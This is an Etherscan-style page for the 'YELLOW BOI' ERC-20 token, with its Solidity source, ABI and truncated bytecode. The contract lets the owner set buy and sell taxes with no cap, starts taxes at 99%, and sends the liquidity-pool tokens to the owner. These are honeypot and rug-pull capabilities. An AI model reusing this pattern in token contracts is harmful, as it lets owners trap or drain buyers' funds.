ERC-20
Overview
Max Total Supply
1,000,000,000 YELLOW
Holders
93
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
YELLOWBOI
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-06 */ // SPDX-License-Identifier: MIT // website: https://yellowboi.vip/ // twitter: https://twitter.com/yellowboicoin // telegram: https://t.me/yellowboiportal pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract YELLOWBOI is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax = 99; uint256 private _initialSellTax = 99; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceTaxesAfter = 0; uint256 private _preventSwapBefore = 5; uint256 private _buyCount = 0; uint256 private _startTime = 0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"YELLOW BOI"; string private constant _symbol = unicode"YELLOW"; uint256 public _maxTxAmount = 69000000 * 10 ** _decimals; uint256 public _maxWalletSize = 69000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals; uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = (_tTotal * 69)/1000; _balances[address(this)] = _tTotal - _balances[_msgSender()]; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _reduceTaxesAfter = block.timestamp + 360; emit Transfer(address(0), _msgSender(), _balances[_msgSender()]); emit Transfer(address(0), address(this), _balances[address(this)]); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = amount .mul( (block.timestamp > _reduceTaxesAfter) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (block.timestamp > _reduceTaxesAfter) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 50000000000000000) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _initialBuyTax = 0; _initialSellTax = 0; uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _initialBuyTax = 99; _initialSellTax = 99; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); IERC20(uniswapV2Pair).transfer(address(owner()), IERC20(uniswapV2Pair).balanceOf(address(this))); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { sendETHToFee(ethBalance); } } function withdrawStuckETH() public onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}( "" ); } function withdrawStuckTokens(address tkn) public onlyOwner { require(IERC20(tkn).balanceOf(address(this)) > 0, "No tokens"); uint256 amount = IERC20(tkn).balanceOf(address(this)); IERC20(tkn).transfer(msg.sender, amount); } function updateBuyFees( uint256 _newBuyTax ) external onlyOwner { _finalBuyTax = _newBuyTax; } function updateSellFees( uint256 _newSellTax ) external onlyOwner { _finalSellTax = _newSellTax; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newBuyTax","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSellTax","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tkn","type":"address"}],"name":"withdrawStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600660006101000a81548160ff0219169083151502179055506063600755606360085560006009556000600a556000600b556005600c556000600d556000600e556012600a620000579190620007f4565b63041cdb4062000068919062000845565b600f556012600a6200007b9190620007f4565b63041cdb406200008c919062000845565b6010556012600a6200009f9190620007f4565b624c4b40620000af919062000845565b6011556012600a620000c29190620007f4565b624c4b40620000d2919062000845565b6012556000601460156101000a81548160ff0219169083151502179055506000601460166101000a81548160ff0219169083151502179055503480156200011857600080fd5b5060006200012b6200062960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001d96200062960201b60201c565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e860456012600a6200022e9190620007f4565b633b9aca006200023f919062000845565b6200024b919062000845565b620002579190620008bf565b600160006200026b6200062960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016000620002bd6200062960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546012600a620003089190620007f4565b633b9aca0062000319919062000845565b620003259190620008f7565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200037e6200063160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061016842620004b1919062000932565b600b81905550620004c76200062960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160006200052a6200062960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200057491906200097e565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200061b91906200097e565b60405180910390a36200099b565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006e857808604811115620006c057620006bf6200065a565b5b6001851615620006d05780820291505b8081029050620006e08562000689565b9450620006a0565b94509492505050565b600082620007035760019050620007d6565b81620007135760009050620007d6565b81600181146200072c576002811462000737576200076d565b6001915050620007d6565b60ff8411156200074c576200074b6200065a565b5b8360020a9150848211156200076657620007656200065a565b5b50620007d6565b5060208310610133831016604e8410600b8410161715620007a75782820a905083811115620007a157620007a06200065a565b5b620007d6565b620007b6848484600162000696565b92509050818404811115620007d057620007cf6200065a565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200080182620007dd565b91506200080e83620007e7565b92506200083d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006f1565b905092915050565b60006200085282620007dd565b91506200085f83620007dd565b92508282026200086f81620007dd565b915082820484148315176200088957620008886200065a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008cc82620007dd565b9150620008d983620007dd565b925082620008ec57620008eb62000890565b5b828204905092915050565b60006200090482620007dd565b91506200091183620007dd565b92508282039050818111156200092c576200092b6200065a565b5b92915050565b60006200093f82620007dd565b91506200094c83620007dd565b92508282019050808211156200096757620009666200065a565b5b92915050565b6200097881620007dd565b82525050565b60006020820190506200099560008301846200096d565b92915050565b6139a180620009ab6000396000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c876d0b91161006f578063c876d0b914610469578063c9567bf914610494578063cb963728146104ab578063dd62ed3e146104d4578063eba4c33314610511578063f5648a4f1461053a57610156565b80638da5cb5b146103575780638f9a55c01461038257806395d89b41146103ad578063a9059cbb146103d8578063bf474bed14610415578063c02466681461044057610156565b806351bc3c851161010857806351bc3c851461028157806370a0823114610298578063715018a6146102d557806371fc4688146102ec578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906128b6565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612971565b61058e565b6040516101ba91906129cc565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e591906129f6565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b60405161021091906129f6565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612a11565b6105d6565b60405161024d91906129cc565b60405180910390f35b34801561026257600080fd5b5061026b6106af565b6040516102789190612a80565b60405180910390f35b34801561028d57600080fd5b506102966106b8565b005b3480156102a457600080fd5b506102bf60048036038101906102ba9190612a9b565b610755565b6040516102cc91906129f6565b60405180910390f35b3480156102e157600080fd5b506102ea61079e565b005b3480156102f857600080fd5b50610313600480360381019061030e9190612ac8565b6108f1565b005b34801561032157600080fd5b5061032a610990565b005b34801561033857600080fd5b50610341610adb565b60405161034e91906129f6565b60405180910390f35b34801561036357600080fd5b5061036c610ae1565b6040516103799190612b04565b60405180910390f35b34801561038e57600080fd5b50610397610b0a565b6040516103a491906129f6565b60405180910390f35b3480156103b957600080fd5b506103c2610b10565b6040516103cf91906128b6565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa9190612971565b610b4d565b60405161040c91906129cc565b60405180910390f35b34801561042157600080fd5b5061042a610b6b565b60405161043791906129f6565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190612b4b565b610b71565b005b34801561047557600080fd5b5061047e610c61565b60405161048b91906129cc565b60405180910390f35b3480156104a057600080fd5b506104a9610c74565b005b3480156104b757600080fd5b506104d260048036038101906104cd9190612a9b565b61130c565b005b3480156104e057600080fd5b506104fb60048036038101906104f69190612b8b565b61155e565b60405161050891906129f6565b60405180910390f35b34801561051d57600080fd5b5061053860048036038101906105339190612ac8565b6115e5565b005b34801561054657600080fd5b5061054f611684565b005b60606040518060400160405280600a81526020017f59454c4c4f5720424f4900000000000000000000000000000000000000000000815250905090565b60006105a261059b61178a565b8484611792565b6001905092915050565b60125481565b60006012600a6105c29190612d2d565b633b9aca006105d19190612d78565b905090565b60006105e384848461195b565b6106a4846105ef61178a565b61069f8560405180606001604052806028815260200161394460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065561178a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f59092919063ffffffff16565b611792565b600190509392505050565b60006012905090565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f961178a565b73ffffffffffffffffffffffffffffffffffffffff161461071957600080fd5b600061072430610755565b905060008111156107395761073881612359565b5b6000479050600081111561075157610750816125d2565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107a661178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612e06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108f961178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097d90612e06565b60405180910390fd5b8060098190555050565b61099861178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90612e06565b60405180910390fd5b6012600a610a339190612d2d565b633b9aca00610a429190612d78565b600f819055506012600a610a569190612d2d565b633b9aca00610a659190612d78565b6010819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610ab59190612d2d565b633b9aca00610ac49190612d78565b604051610ad191906129f6565b60405180910390a1565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f59454c4c4f570000000000000000000000000000000000000000000000000000815250905090565b6000610b61610b5a61178a565b848461195b565b6001905092915050565b60115481565b610b7961178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd90612e06565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600660009054906101000a900460ff1681565b610c7c61178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0090612e06565b60405180910390fd5b60148054906101000a900460ff1615610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e90612e72565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df530601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610de19190612d2d565b633b9aca00610df09190612d78565b611792565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e869190612ea7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f339190612ea7565b6040518363ffffffff1660e01b8152600401610f50929190612ed4565b6020604051808303816000875af1158015610f6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f939190612ea7565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006007819055506000600881905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061102c30610755565b600080611037610ae1565b426040518863ffffffff1660e01b815260040161105996959493929190612f42565b60606040518083038185885af1158015611077573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061109c9190612fb8565b50505060636007819055506063600881905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161114e92919061300b565b6020604051808303816000875af115801561116d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111919190613049565b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6111d8610ae1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112339190612b04565b602060405180830381865afa158015611250573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112749190613076565b6040518363ffffffff1660e01b815260040161129192919061300b565b6020604051808303816000875af11580156112b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d49190613049565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b61131461178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139890612e06565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113dc9190612b04565b602060405180830381865afa1580156113f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141d9190613076565b1161145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454906130ef565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114989190612b04565b602060405180830381865afa1580156114b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d99190613076565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161151692919061300b565b6020604051808303816000875af1158015611535573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115599190613049565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115ed61178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167190612e06565b60405180910390fd5b80600a8190555050565b61168c61178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090612e06565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff164760405161173f90613140565b60006040518083038185875af1925050503d806000811461177c576040519150601f19603f3d011682016040523d82523d6000602084013e611781565b606091505b50508091505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f8906131c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186790613259565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161194e91906129f6565b6